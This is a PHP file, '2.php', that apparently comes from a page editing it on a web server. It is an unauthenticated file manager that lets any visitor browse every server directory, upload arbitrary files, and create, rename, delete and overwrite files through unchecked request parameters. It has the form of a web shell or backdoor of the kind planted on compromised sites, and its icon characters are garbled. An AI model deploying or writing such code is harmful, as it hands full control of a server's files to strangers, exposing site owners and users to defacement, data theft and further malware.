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?? Editing: 2.php

<?php
// =====================================
// UTF-8 OUTPUT
// =====================================
header("Content-Type: text/html; charset=utf-8");

// =====================================
// CURRENT WORKING PATH
// =====================================
$root = realpath('.');
$current = isset($_GET['dir']) && realpath($_GET['dir'])
    ? realpath($_GET['dir'])
    : $root;

// =====================================
// FILE UPLOAD
// =====================================
if (isset($_FILES['upload']) && $_FILES['upload']['error'] === 0) {
    $target = $current . DIRECTORY_SEPARATOR . $_FILES['upload']['name'];
    move_uploaded_file($_FILES['upload']['tmp_name'], $target);
    header("Location:?dir=" . urlencode($current));
    exit;
}

// =====================================
// CREATE DIRECTORY
// =====================================
if (!empty($_POST['folder'])) {
    mkdir($current . DIRECTORY_SEPARATOR . trim($_POST['folder']));
    header("Location:?dir=" . urlencode($current));
    exit;
}

// =====================================
// DELETE FILE / FOLDER
// =====================================
if (isset($_GET['del'])) {
    $kill = realpath($current . DIRECTORY_SEPARATOR . $_GET['del']);
    if ($kill) {
        is_dir($kill) ? rmdir($kill) : unlink($kill);
    }
    header("Location:?dir=" . urlencode($current));
    exit;
}

// =====================================
// RENAME
// =====================================
if (!empty($_POST['from']) && !empty($_POST['to'])) {
    rename(
        $current . DIRECTORY_SEPARATOR . $_POST['from'],
        $current . DIRECTORY_SEPARATOR . $_POST['to']
    );
    header("Location:?dir=" . urlencode($current));
    exit;
}

// =====================================
// SAVE EDITED FILE
// =====================================
if (!empty($_POST['save_path'])) {
    file_put_contents($_POST['save_path'], $_POST['content']);
    header("Location:?dir=" . urlencode(dirname($_POST['save_path'])));
    exit;
}

// =====================================
// READ DIRECTORY
// =====================================
$list = scandir($current);

// =====================================
// UI
// =====================================
echo "<h2>?? File Manager</h2>";
echo "<p><b>Path:</b> {$current}</p>";
echo "<a href='?dir=" . urlencode(dirname($current)) . "'>? Back</a><br><br>";

// upload
echo "
<form method='post' enctype='multipart/form-data'>
    <input type='file' name='upload'>
    <button>Upload</button>
</form>
";

// new folder
echo "
<form method='post'>
    <input name='folder' placeholder='Folder name'>
    <button>Create</button>
</form><br>
";

// table
echo "<table border='1' cellpadding='6'>
<tr><th>Name</th><th>Action</th></tr>";

foreach ($list as $item) {
    if ($item === '.' || $item === '..') continue;

$full = $current . DIRECTORY_SEPARATOR . $item;
    echo "<tr><td>";

if (is_dir($full)) {
        echo "<a href='?dir=" . urlencode($full) . "'>?? {$item}</a>";
    } else {
        echo "?? {$item}";
    }

echo "</td><td>";

// rename
    echo "
    <form method='post' style='display:inline'>
        <input type='hidden' name='from' value='{$item}'>
        <input name='to' placeholder='Rename'>
        <button>?</button>
    </form>
    ";

// delete
    echo " <a onclick='return confirm(\"Delete?\")' href='?dir="
        . urlencode($current) . "&del={$item}'>??</a>";

// edit
    if (is_file($full)) {
        echo " | <a href='?dir=" . urlencode($current) . "&edit={$item}'>?</a>";
    }

echo "</td></tr>";
}
echo "</table>";

// =====================================
// EDITOR
// =====================================
if (isset($_GET['edit'])) {
    $editFile = $current . DIRECTORY_SEPARATOR . $_GET['edit'];
    if (is_file($editFile)) {
        $data = htmlspecialchars(file_get_contents($editFile));
        echo "
        <h3>Editing: {$_GET['edit']}</h3>
        <form method='post'>
            <input type='hidden' name='save_path' value='{$editFile}'>
            <textarea name='content' rows='20' cols='100'>{$data}</textarea><br>
            <button>?? Save</button>
        </form>
        ";
    }
}
?>

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